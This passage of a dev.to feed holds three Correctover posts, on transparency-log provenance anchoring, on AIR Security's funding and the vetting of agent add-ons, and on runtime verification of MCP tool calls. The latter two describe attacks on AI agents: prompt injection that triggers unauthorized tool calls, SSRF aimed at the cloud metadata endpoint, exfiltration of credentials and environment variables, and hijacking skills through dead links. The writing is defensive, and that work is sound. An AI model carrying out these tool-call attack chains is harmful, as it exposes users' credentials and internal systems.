manifest hash — Ed25519 per
&lt;a href="https://www.rfc-editor.org/rfc/rfc8032" rel="noopener noreferrer"&gt;RFC 8032&lt;/a&gt;. This answers "who made
this claim", but it is &lt;em&gt;not&lt;/em&gt; yet a timestamp: a signature has no notion of
when it was made.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An anchor in a public transparency log.&lt;/strong&gt; We submit the signed hash to the
Sigstore &lt;a href="https://github.com/sigstore/rekor" rel="noopener noreferrer"&gt;Rekor&lt;/a&gt; transparency log
(hashedrekord entry). Once it's in the log, it carries an
inclusion proof and a log index anyone can query. The log is a
append-only, publicly monitored witness — you don't have to trust our server,
our clock, or our word.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A persistent, citable archive.&lt;/strong&gt; The proof bundle itself (manifest,
receipt, anchor record) is deposited with &lt;a href="https://zenodo.org" rel="noopener noreferrer"&gt;Zenodo&lt;/a&gt; and
gets a DOI, so it has a permanent identifier independent of our
infrastructure.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each layer answers a different objection. Remove any one and the claim degrades&lt;br&gt;
into "trust me".&lt;/p&gt;
&lt;h2&gt;
  
  
  The three commands
&lt;/h2&gt;

&lt;p&gt;The tool is a single-file Python CLI (&lt;code&gt;provenance.py&lt;/code&gt;), stdlib-only for&lt;br&gt;
networking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Generate a local identity key (never leaves your machine)&lt;/span&gt;
python provenance.py keygen

&lt;span class="c"&gt;# 2. Snapshot a directory -&amp;gt; manifest -&amp;gt; signed receipt -&amp;gt; Rekor anchor -&amp;gt; Zenodo DOI&lt;/span&gt;
python provenance.py anchor ./my-project &lt;span class="nt"&gt;--name&lt;/span&gt; my-project

&lt;span class="c"&gt;# 3. Independently verify a proof bundle — rehashes everything,&lt;/span&gt;
&lt;span class="c"&gt;#    checks the Ed25519 signature, pulls the Rekor entry, compares all three hashes&lt;/span&gt;
python provenance.py verify ./output/my-project-2026-09-03/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;verify&lt;/code&gt; does not contact any Correctover service. It recomputes the manifest&lt;br&gt;
hash from the files, checks the signature against the embedded public key,&lt;br&gt;
fetches the Rekor entry from the public log, and asserts that the recomputed&lt;br&gt;
hash, the receipt hash, and the on-log hash are all the same value. If any&lt;br&gt;
layer drifts, it fails closed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The real anchor (you can check it right now)
&lt;/h2&gt;

&lt;p&gt;We didn't run this on a toy. The first snapshot anchored was our own public&lt;br&gt;
open-source package, &lt;code&gt;correctover-scan&lt;/code&gt; v1.4.0 (MIT), commit&lt;br&gt;
&lt;a href="https://github.com/DSHCorrectover/correctover-scan" rel="noopener noreferrer"&gt;&lt;code&gt;13a3caa&lt;/code&gt;&lt;/a&gt; — 8 files.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Manifest hash (JCS, SHA-256):&lt;/strong&gt;
&lt;code&gt;b0366186a5063a091148ffdc6b042d36e8cfa8e2d675e05b6c598e096b3ca75f&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rekor transparency log:&lt;/strong&gt; index &lt;strong&gt;2694324795&lt;/strong&gt; —
&lt;a href="https://search.sigstore.dev/?logIndex=2694324795" rel="noopener noreferrer"&gt;view in the Sigstore search UI&lt;/a&gt;
or query the API directly:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://rekor.sigstore.dev/api/v1/log/entries?logIndex=2694324795"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The entry includes an inclusion proof you can verify against the log's&lt;br&gt;
  signed tree head.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Zenodo DOI:&lt;/strong&gt; &lt;a href="https://doi.org/10.5281/zenodo.22266162" rel="noopener noreferrer"&gt;10.5281/zenodo.22266162&lt;/a&gt;
— the proof bundle (manifest, receipt, anchor record) is deposited there
under CC0.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want the shortest possible sanity check without installing anything:&lt;br&gt;
open the Rekor search link, confirm the entry exists; open the DOI, confirm the&lt;br&gt;
bundle is archived; compare the hash printed in both places with the manifest&lt;br&gt;
hash above. Three independent witnesses, one hash.&lt;/p&gt;

&lt;h2&gt;
  
  
  One honest technical wrinkle
&lt;/h2&gt;

&lt;p&gt;We hit a real interoperability constraint worth documenting, because anyone&lt;br&gt;
replicating this will hit it too:&lt;/p&gt;

&lt;p&gt;the public Rekor instance's &lt;code&gt;hashedrekord&lt;/code&gt; v0.0.1 type parses detached&lt;br&gt;
signatures as &lt;strong&gt;Ed25519ph&lt;/strong&gt; (prehashed Ed25519), but passes the artifact hash&lt;br&gt;
algorithm (SHA-256) to the verifier — and the Ed25519ph verifier only accepts&lt;br&gt;
SHA-512. So an Ed25519 signature over a SHA-256 artifact hash is rejected&lt;br&gt;
(&lt;code&gt;unsupported hash algorithm: "SHA-256" not in [SHA-512]&lt;/code&gt;). This matches how&lt;br&gt;
cosign and sigstore-go handle the default case.&lt;/p&gt;

&lt;p&gt;Our resolution: the &lt;strong&gt;identity receipt&lt;/strong&gt; stays Ed25519/RFC 8032 (that's our&lt;br&gt;
signature, our key, our receipt format). The &lt;strong&gt;transparency-log anchor&lt;/strong&gt; uses&lt;br&gt;
ECDSA P-256 over SHA-256 (prehashed, ASN.1 DER) — the Sigstore ecosystem's&lt;br&gt;
default, fully interoperable choice. The anchor record documents both keys and&lt;br&gt;
which one does what. The security properties don't change: the log still&lt;br&gt;
witnesses the exact 32-byte manifest hash at a specific log position, and the&lt;br&gt;
receipt still binds that hash to our identity key.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this does NOT prove
&lt;/h2&gt;

&lt;p&gt;Boundaries matter more than features here, so let's be explicit about what a&lt;br&gt;
birth certificate like this is and isn't:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It is evidence of existence and timestamp.&lt;/strong&gt; A specific set of file hashes,
signed by a specific key, was anchored in a public log and archived with a
DOI at a specific time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It is not a copyright registration&lt;/strong&gt;, and it is not a legal opinion. A DOI
and a log entry don't adjudicate authorship or rights — they just make the
"this existed, in this exact form, at this time" part undeniable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hashes prove identity of bytes, not semantics.&lt;/strong&gt; If someone takes your
code, renames everything, reorders the functions, or has an agent rewrite it
line by line, every hash changes and the log anchor won't match. Proving
"this derived work is substantially the same code" is a &lt;em&gt;semantic similarity&lt;/em&gt;
problem — a separate layer sitting on top of the anchor, not something a
hash can do. Anchoring is the floor; semantic forensics is the next floor up.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why now
&lt;/h2&gt;

&lt;p&gt;The direction of travel in AI supply chains isn't subtle: SLSA for build&lt;br&gt;
provenance, Sigstore for signing and transparency logs, SCITT for&lt;br&gt;
industry-wide receipt interoperability, and regulators on both sides of the&lt;br&gt;
Atlantic converging on traceable, auditable AI systems. The reference&lt;br&gt;
implementations that exist &lt;em&gt;during&lt;/em&gt; standard formation tend to become the&lt;br&gt;
shapes the standards describe.&lt;/p&gt;

&lt;p&gt;We're building toward that as an evidence-infrastructure layer for the AI age —&lt;br&gt;
one primitive that serves two sides: runtime assurance (proving what an agent&lt;br&gt;
actually did) and provenance (proving what an AI asset is, whose it is, and&lt;br&gt;
when it existed). The cryptography reuses the same JCS + Ed25519 receipt&lt;br&gt;
machinery that already passed independent third-party SCITT interop testing&lt;br&gt;
(65/65 cases). Our own receipt format is also documented in an individual&lt;br&gt;
Internet-Draft (&lt;a href="https://datatracker.ietf.org/doc/draft-correctover-ccs/" rel="noopener noreferrer"&gt;draft-correctover-ccs&lt;/a&gt;)&lt;br&gt;
— note that's an individual submission, not an RFC and not an IETF endorsement.&lt;/p&gt;

&lt;p&gt;But you don't need to care about any of that to use the idea. The practical&lt;br&gt;
takeaway is one line:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anchor early.&lt;/strong&gt; A transparency log can't retroactively witness something you&lt;br&gt;
didn't anchor. The first party to put a verifiable stake in the ground owns the&lt;br&gt;
timestamp — forever, independently checkable, with no server to trust.&lt;/p&gt;

&lt;p&gt;Go check the anchor:&lt;br&gt;
&lt;a href="https://search.sigstore.dev/?logIndex=2694324795" rel="noopener noreferrer"&gt;Rekor log index 2694324795&lt;/a&gt;&lt;br&gt;
· &lt;a href="https://doi.org/10.5281/zenodo.22266162" rel="noopener noreferrer"&gt;DOI 10.5281/zenodo.22266162&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>supplychain</category>
      <category>opensource</category>
      <category>github</category>
    </item>
    <item>
      <title>AIR Security Raises $50M: What Automated Vetting Solves — and What It Can't Yet</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Wed, 02 Sep 2026 05:49:29 +0000</pubDate>
      <link>https://dev.to/correctover/air-security-raises-50m-what-automated-vetting-solves-and-what-it-cant-yet-nc8</link>
      <guid>https://dev.to/correctover/air-security-raises-50m-what-automated-vetting-solves-and-what-it-cant-yet-nc8</guid>
      <description>&lt;p&gt;Yesterday, &lt;a href="https://techcrunch.com/2026/09/01/air-raises-50m-to-help-companies-vet-the-skills-and-add-ons-ai-agents-use/" rel="noopener noreferrer"&gt;AIR Security came out of stealth with $50M&lt;/a&gt; across two seed rounds — $10M led by Sequoia and $40M led by Greenoaks — to build security tooling for the skills, plugins, and MCP servers that AI agents install. We work in the same corner of the industry: we're the Correctover team, building the open-source verification tools at &lt;a href="https://github.com/Correctover" rel="noopener noreferrer"&gt;github.com/Correctover&lt;/a&gt;. So our mentions lit up. Here's our read — what happened, why the numbers matter, what automated filtering genuinely fixes, and where it structurally stops.&lt;/p&gt;

&lt;h2&gt;
  
  
  A supply chain nobody is watching
&lt;/h2&gt;

&lt;p&gt;When coding agents started reaching for third-party components on their own initiative, a new software supply chain formed — one assembled at runtime. As &lt;a href="https://sequoiacap.com/article/partnering-with-air-securing-the-ai-supply-chain" rel="noopener noreferrer"&gt;Sequoia's announcement post puts it&lt;/a&gt;, an agent consumes "skills, plugins, MCP servers, sub-agents, hooks, commands and rules — each running with the agent's own permissions, inside a user's environment, against a user's data," usually "installed with the care most of us would give a browser extension."&lt;/p&gt;

&lt;p&gt;The exposure numbers reported this week are worth sitting with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;More than &lt;strong&gt;17,800 public AI add-ons, accounting for 6.7 million installations, drew instructions from outside sources nobody had verified&lt;/strong&gt;, &lt;a href="https://siliconangle.com/2026/09/01/air-security-launches-with-50m-to-build-a-firewall-for-ai-agents/" rel="noopener noreferrer"&gt;according to SiliconAngle&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;AIR says its platform currently &lt;strong&gt;filters out roughly 27% of the add-ons and skills it finds online&lt;/strong&gt;, &lt;a href="https://techcrunch.com/2026/09/01/air-raises-50m-to-help-companies-vet-the-skills-and-add-ons-ai-agents-use/" rel="noopener noreferrer"&gt;per TechCrunch's reporting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;AIR's own research, &lt;a href="https://sequoiacap.com/article/partnering-with-air-securing-the-ai-supply-chain" rel="noopener noreferrer"&gt;summarized in Sequoia's post&lt;/a&gt;, found &lt;strong&gt;925 live skills pulling dependencies and prompts from dead links&lt;/strong&gt;; registering those expired links put roughly &lt;strong&gt;134,000 installed agents&lt;/strong&gt; under outside control. In a separate experiment, a researcher-built malicious skill reached &lt;strong&gt;26,000+ agents&lt;/strong&gt; through a trusted marketplace and social media — and every scanner it passed through cleared it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The mental model AIR's CEO Yair Saban offers is driver signing: in the early 2000s, drivers didn't need signatures; today every driver tells you who signed it, because it loads code into the kernel. Skills and MCP servers load instructions into an agent that holds your credentials — and there's no equivalent signature check yet, as &lt;a href="https://techcrunch.com/2026/09/01/air-raises-50m-to-help-companies-vet-the-skills-and-add-ons-ai-agents-use/" rel="noopener noreferrer"&gt;TechCrunch reports&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;That's why the category is drawing capital. Tens of thousands of components, millions of installs, and the components keep changing after install.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the automated layer actually solves
&lt;/h2&gt;

&lt;p&gt;The playbook emerging across this category — discovery, static analysis, dependency checks, sandbox detonation, runtime interception, allowlists — tracks closely with what AIR describes across its product line (&lt;a href="https://sequoiacap.com/article/partnering-with-air-securing-the-ai-supply-chain" rel="noopener noreferrer"&gt;Sequoia&lt;/a&gt;). It's worth being precise about what this machinery is good at, because it's a lot:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Static analysis&lt;/strong&gt; catches hardcoded credentials, unexplained network calls, and declared permissions that don't match what the component claims to do.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependency checks&lt;/strong&gt; catch the dead-link and typosquatting families — the SkillJacking pattern above is fundamentally a dependency-integrity failure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sandbox detonation&lt;/strong&gt; watches what a component actually does when run: callback domains, file access, child processes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Runtime interception&lt;/strong&gt; blocks installs or calls that fail policy in the moment, instead of trusting a one-time review.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Continuous re-verification&lt;/strong&gt; handles drift. A skill that passed review in March can be rewritten in June by its maintainer — or by whoever took over the maintainer's account. Sequoia's Bogomil Balkansky &lt;a href="https://techcrunch.com/2026/09/01/air-raises-50m-to-help-companies-vet-the-skills-and-add-ons-ai-agents-use/" rel="noopener noreferrer"&gt;told TechCrunch&lt;/a&gt;: "This is not a scanning problem, it is a continuous re-verification problem."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At 17,800+ components and growing, none of this can be human-scale. Automation isn't a nice-to-have here. It's the only thing that can cover the surface.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where automation structurally stops
&lt;/h2&gt;

&lt;p&gt;Here's the part we spend our days on, and where we'd push the conversation further. Automated filtering produces verdicts at scale, but three classes of problem resist it structurally — not because any vendor's implementation is weak, but because of what the questions themselves require.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Semantic intent in minified or obfuscated code.&lt;/strong&gt; Heuristics and sandbox runs depend on signals. A minified or deliberately obfuscated payload strips them: the code might be a harmless bundled build artifact, or a dropper that only activates under conditions the sandbox never reproduces — a specific date, a specific tenant, a specific prompt. Determining intent means reading code in context, the way a human reviewer does. Detonation answers "what did it do in the lab?" It can't fully answer "what would it do on my machine, on Tuesday, with my data?"&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Business-logic-level tool abuse.&lt;/strong&gt; The hardest calls aren't malicious components — they're legitimate components used in illegitimate ways. A CRM plugin with a documented bulk-export feature is doing exactly what it says on the tin when an agent exports 40,000 contacts to a personal email. Every individual tool call is well-formed, permitted, and benign-looking. "This agent may read accounts but never bulk-export" isn't a universal signature. It's your organization's policy, and judging it requires understanding your business context, not just the bytes in flight.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Evidence for procurement and compliance.&lt;/strong&gt; A pass/fail flag is a signal, not a record. When a security questionnaire asks "what was checked, when, on which exact version, under which rule set, and who signed the verdict?" you need an archivable artifact — a receipt that binds the verdict to the exact input bytes, tamper-evident and re-verifiable months later. This is the same gap application security filled by moving from "the scanner said fine" toward signed attestations and SBOMs. Signals protect the moment; evidence survives the audit.&lt;/p&gt;

&lt;p&gt;None of this is a knock on automated platforms. You need the filter before you can afford the review. It's the same division of labor as SAST/DAST versus manual code review versus attestation: layers, not substitutes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Make your component cheap to audit
&lt;/h2&gt;

&lt;p&gt;If you publish skills or MCP servers, the practical lesson is that vetting is moving from "someone might glance at this" to "a pipeline will decide whether enterprises can install this." Your job is to make the pipeline's job easy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Least privilege, declared explicitly.&lt;/strong&gt; Ship a permission manifest. Read-only by default, scoped tokens, no inherited environment variables you don't actually use. A component that asks for everything gets blocked; a component that asks for one documented endpoint gets read.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verifiable provenance.&lt;/strong&gt; Pin and hash your dependencies. Sign releases. Never fetch instructions, prompts, or rules from arbitrary URLs at runtime — that's the entire SkillJacking failure mode. If you must load remote content, pin it to a content hash.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reproducible builds.&lt;/strong&gt; Ship the artifact auditors can actually read. Minified server blobs force every reviewer to treat you as opaque; source maps and reproducible build instructions let static analysis see what you are.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write your security posture down.&lt;/strong&gt; A &lt;code&gt;SECURITY.md&lt;/code&gt; — or a security section in your README — that states what you access, what network calls you make, where data goes, and how to report issues earns more trust than any badge. Vetting cost is what gets components rejected. Lower yours.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you &lt;em&gt;run&lt;/em&gt; agents, start with the cheap layer today:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Scan MCP configs in the current directory — no credentials, no network&lt;/span&gt;
npx correctover-scan

&lt;span class="c"&gt;# Or wire it into CI with SARIF output&lt;/span&gt;
npx correctover-scan &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; sarif &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; mcp-audit.sarif
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Where we fit
&lt;/h2&gt;

&lt;p&gt;We're Correctover, and we build open-source verification tooling plus an audit methodology for this space — not a platform, not a marketplace. &lt;a href="https://www.npmjs.com/package/correctover-scan" rel="noopener noreferrer"&gt;&lt;code&gt;correctover-scan&lt;/code&gt;&lt;/a&gt; runs local config and static checks. Our MCP verification gateway (&lt;code&gt;ccs-mcp-server&lt;/code&gt;, with &lt;code&gt;correctover-mcp-server&lt;/code&gt; available if you'd rather transparently wrap a server you already run) sits in front of tool calls, fails closed, and writes an Ed25519-signed receipt for every decision — the evidence artifact described above. The decision path is deterministic, with no model call in the loop: sub-millisecond on the core verification hot path, because verification you can't afford to leave on in development isn't verification.&lt;/p&gt;

&lt;p&gt;Everything lives at &lt;a href="https://github.com/Correctover" rel="noopener noreferrer"&gt;github.com/Correctover&lt;/a&gt;. Try it against your own agent setup, and please open issues — false positives are bugs, and a call we allowed that shouldn't have been is the most valuable report we can receive.&lt;/p&gt;

&lt;p&gt;A $50M vote of confidence in this category is good news for anyone shipping agents. It means "where did this component come from, and who checked it?" is finally becoming a budgeted question. The next step is making sure every answer comes with evidence.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>mcp</category>
      <category>aiagents</category>
    </item>
    <item>
      <title>Your Agent Has Tools Now: Why MCP Tool Calls Need Runtime Verification</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Wed, 02 Sep 2026 04:01:34 +0000</pubDate>
      <link>https://dev.to/correctover/your-agent-has-tools-now-why-mcp-tool-calls-need-runtime-verification-53i6</link>
      <guid>https://dev.to/correctover/your-agent-has-tools-now-why-mcp-tool-calls-need-runtime-verification-53i6</guid>
      <description>&lt;p&gt;For most of the short history of LLM applications, model risk was &lt;em&gt;text&lt;/em&gt; risk. A model could output bad advice, leak something from its prompt, or produce a convincing phishing draft — but it couldn't touch your machine. The worst case ended at the screen.&lt;/p&gt;

&lt;p&gt;Wire a few tools into that model — a shell, an HTTP fetcher, a filesystem client, a cloud SDK — and the equation changes. With the &lt;a href="https://modelcontextprotocol.io" rel="noopener noreferrer"&gt;Model Context Protocol&lt;/a&gt;, agents don't just &lt;em&gt;suggest&lt;/em&gt; operations anymore; they &lt;em&gt;perform&lt;/em&gt; them, with your credentials, on your infrastructure. The attack surface moves from "text the model wrote" to "actions the model took." A prompt that used to produce a paragraph can now produce a process.&lt;/p&gt;

&lt;p&gt;If you're shipping agents with tool access, configuration hygiene is necessary but not sufficient. Here's why, and what runtime verification adds.&lt;/p&gt;

&lt;h2&gt;
  
  
  Four ways tool calls go wrong
&lt;/h2&gt;

&lt;p&gt;The abuse patterns below are well-known categories — described generically, without reference to any specific project's incidents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Code execution tools → remote code execution.&lt;/strong&gt; Shell, &lt;code&gt;exec&lt;/code&gt;, and interpreter tools exist because agents genuinely need them: running tests, scaffolding projects, transforming data. But any string that reaches a shell is a command. Content fetched from a web page, a filename, an error message, or a dependency's metadata can carry shell metacharacters. The model doesn't need to be "hacked" in the classic sense — it just needs to faithfully pass attacker-influenced text into an execution tool.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Fetch / HTTP tools → SSRF.&lt;/strong&gt; Agents love to fetch URLs: docs, APIs, "read this link the user pasted." A URL is also a network destination. Point a fetcher at a cloud metadata endpoint (&lt;code&gt;169.254.169.254&lt;/code&gt;), a private RFC1918 address, or &lt;code&gt;localhost:port&lt;/code&gt; and the agent becomes an SSRF primitive — reading internal services from inside your network perimeter and helpfully summarizing what it found.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Credential and environment-variable exfiltration.&lt;/strong&gt; Agent processes inherit environment: &lt;code&gt;AWS_*&lt;/code&gt;, &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;, database URLs, API keys. Tools often accept arbitrary key/value or arguments. A two-step chain — &lt;em&gt;read&lt;/em&gt; a sensitive file or env var, then &lt;em&gt;POST&lt;/em&gt; it somewhere via the HTTP tool — turns a "helpful agent" into an exfiltration channel. Neither step looks dramatic on its own.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Prompt injection → unauthorized tool calls.&lt;/strong&gt; Untrusted content in the model's context (a web page, an email, a file, a tool result) can contain instructions aimed at the model. The model is the one holding the tool handles, and it can't always tell your instructions apart from instructions embedded in data. The outcome is a tool call you never authorized, performed with your authority.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why static configuration scans aren't enough
&lt;/h2&gt;

&lt;p&gt;Scanning your MCP configuration is the right first move. A static scanner catches real, fixable problems: plain-HTTP transports, disabled TLS verification, credentials pasted directly into config JSON, missing timeouts, over-broad permissions, unpinned server versions. The open-source &lt;a href="https://www.npmjs.com/package/correctover-scan" rel="noopener noreferrer"&gt;&lt;code&gt;correctover-scan&lt;/code&gt;&lt;/a&gt; runs &lt;strong&gt;14 local checks&lt;/strong&gt; against your config files and auto-discovers the usual locations — &lt;code&gt;.cursor/mcp.json&lt;/code&gt;, &lt;code&gt;claude_desktop_config.json&lt;/code&gt;, &lt;code&gt;.claude/mcp.json&lt;/code&gt;, &lt;code&gt;mcp.json&lt;/code&gt;, and a few more.&lt;/p&gt;

&lt;p&gt;But a config file is static, and the dangerous part is dynamic. Your &lt;code&gt;mcp.json&lt;/code&gt; will never contain the &lt;em&gt;argument&lt;/em&gt; the model constructs at 3 a.m. — the URL it decided to fetch, the command string it assembled from a tool result, the env var name it placed into an HTTP body. Static analysis answers "is this setup reasonable?"; it cannot answer "is &lt;em&gt;this specific call&lt;/em&gt; safe?"&lt;/p&gt;

&lt;p&gt;The tempting shortcut is a keyword blacklist: block calls containing &lt;code&gt;exec&lt;/code&gt;, block URLs containing &lt;code&gt;169.254&lt;/code&gt;, block arguments containing &lt;code&gt;AWS_SECRET&lt;/code&gt;. It doesn't work, because safety is contextual:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A code-interpreter tool running &lt;code&gt;exec()&lt;/code&gt; as its normal, declared function is &lt;strong&gt;fine&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;A model concatenating fetched, untrusted text into an &lt;code&gt;exec()&lt;/code&gt; string passed to a shell is &lt;strong&gt;critical&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;A fetcher retrieving a public docs URL is &lt;strong&gt;fine&lt;/strong&gt;; the same fetcher hitting the metadata endpoint is &lt;strong&gt;critical&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Reading a file is fine; reading a file and immediately piping its contents to an external URL is an exfiltration chain.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Same tokens, different verdicts — because the &lt;em&gt;tool&lt;/em&gt;, the &lt;em&gt;caller&lt;/em&gt;, the &lt;em&gt;arguments&lt;/em&gt;, and the &lt;em&gt;chain of preceding calls&lt;/em&gt; differ. That judgment has to happen at call time, with the actual arguments in hand.&lt;/p&gt;

&lt;h2&gt;
  
  
  What runtime verification should check
&lt;/h2&gt;

&lt;p&gt;A runtime verifier sits in front of tool execution and evaluates every call before it runs. For security, five layers matter most:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Structure&lt;/strong&gt; — well-formed tool name, arguments as an object, sane nesting depth and payload size. Malformed calls get rejected, not fuzzed into the tool.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Schema&lt;/strong&gt; — per-tool validation: types, required fields, enums, numeric ranges, string lengths. A &lt;code&gt;payments.send&lt;/code&gt; call with &lt;code&gt;amount&lt;/code&gt; as a string fails before it reaches the API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identity&lt;/strong&gt; — &lt;em&gt;which agent&lt;/em&gt; is calling, against an allowed-caller list. Tool permissions belong to identities, not to the runtime process.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity&lt;/strong&gt; — cryptographic hashes over the exact arguments and request, plus signed receipts that bind the verdict (allow/deny/escalate) to those exact bytes. This gives you tamper-evident evidence: after an incident, you can prove what was decided and on what input, and chain receipts across multi-step or multi-agent flows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security intent&lt;/strong&gt; — semantic analysis of the call in context: command-injection patterns, SSRF targets (metadata IPs, loopback, private ranges), path traversal, environment-variable exfiltration signals, obfuscation (hex/base64 wrapping), prompt-injection markers, and — critically — &lt;strong&gt;cross-tool attack chains&lt;/strong&gt; (read-sensitive-file → network-write = exfiltration, even though each step alone looks benign).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two non-negotiable properties:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fail-closed.&lt;/strong&gt; If the verifier is unreachable, times out, or receives malformed input, the call is &lt;em&gt;blocked&lt;/em&gt;. A verification path that errors open is not a verifier.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic and fast.&lt;/strong&gt; Intent checking is pattern- and policy-based computation — no LLM call in the decision loop. The target is &lt;strong&gt;sub-millisecond on the core verification hot path&lt;/strong&gt;, so verification is something you leave on in development, not something you route around when the agent feels slow.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it in 30 seconds
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — scan your configs locally.&lt;/strong&gt; Zero dependencies, no network needed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Auto-discovers .cursor/mcp.json, claude_desktop_config.json,&lt;/span&gt;
&lt;span class="c"&gt;# .claude/mcp.json, mcp.json and friends in the current directory&lt;/span&gt;
npx correctover-scan

&lt;span class="c"&gt;# Or point it at a file / directory, with SARIF output for CI&lt;/span&gt;
npx correctover-scan mcp.json &lt;span class="nt"&gt;-f&lt;/span&gt; sarif &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; report.sarif
npx correctover-scan &lt;span class="nt"&gt;-d&lt;/span&gt; ./my-project
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — add the runtime verifier as an MCP server.&lt;/strong&gt; &lt;a href="https://www.npmjs.com/package/ccs-mcp-server" rel="noopener noreferrer"&gt;&lt;code&gt;ccs-mcp-server&lt;/code&gt;&lt;/a&gt; is a zero-dependency stdio MCP server. Drop this into your client config (Claude Desktop, Cursor, or any other stdio-compatible MCP client):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ccs-runtime-evidence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
